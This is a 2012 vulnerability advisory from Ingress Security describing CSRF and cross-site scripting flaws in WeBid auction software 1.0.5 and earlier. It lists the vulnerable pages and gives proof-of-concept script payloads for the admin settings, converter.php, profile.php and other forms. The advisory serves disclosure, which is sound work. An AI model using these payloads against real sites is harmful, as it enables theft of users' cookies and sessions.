



INGRESS SECURITY

INGRESS SECURITY SECURITY ADVISORY

INGRES-11172012-WeBid Cross Site Scripting Vulnerabilities

November 17, 2012

OVERVIEW

Ingress Security researchers have found a Cross Site Request Forgery and general Cross Site Scripting vulnerability in the WeBid auction house software.

AFFECTED PRODUCTS

WeBid version 1.0.5 and prior.

PLATFORM: Multiple

LOCAL/REMOTE: Remote

CVSS SCORE: 5.5

(AV:N/AC:L/Au:S/C:P/I:P/A:N/E:F/RL:U/RC:UR/CDP:LM/TD:L/CR:ND/IR:ND/AR:ND)

DESCRIPTION OF VULNERABILITIES

Cross Site Request Forgery (CSRF)

WeBid does not properly check user input, thus allowing the `<iframe>` to execute and allow an attacker to send malicious code to the user who views the auction.

Authenticated User

URL: `http://[host]/WeBid/sell.php#goto`

The user is then presented with a fully-featured description box to input the malicious code

11/17/2012



INGRESS SECURITY

using `<iframe>`. We believe that there are also other vulnerable issues such as possible `` tag manipulation as well, although they haven't been tested.

Cross Site Scripting (XSS)

The following URLs are vulnerable to XSS attacks. Malicious attackers may access cookies, session tokens, or other sensitive information retained by a browser and used with the website.

[Persistent XSS]

Authenticated Administrator

This persistent XSS vulnerability allows a malicious administrator to setup the copyright notice to steal cookies or other sensitive information.

```
http://[host]/WeBid/admin/settings.php
```

In the Your copyright message section, add:

```
<script>alert(document.cookie);</script>
```

[Reflective XSS]

Unauthenticated User

```
http://[host]/WeBid/converter.php?AMOUNT=""><script>alert(1);</script>
```



INGRESS SECURITY

```
http://[host]/WeBid/profile.php?  
user_id=1&auction_id=""><script>alert(1);</script>
```

To circumvent the following URL, you can manipulate the `amount` parameter:

```
http://[host]/WeBid/converter.php?AMOUNT=0.0
```

```
csrftoken=&amount=""><script>alert(1);</script>&convert=Convert&fromCu  
rrency=ARS&toCurrency=ARS
```

The same thing can occur for `friend.php`. Just add the offending code in `friend_name`, `friend_email`, and `sender_comment` parameters.

Same thing for `register.php` and `send_email.php`.

DISCLAIMER

The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases, or trade with fraud/stolen material.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact info@ingresssecurity.com to get



INGRESS SECURITY

permission.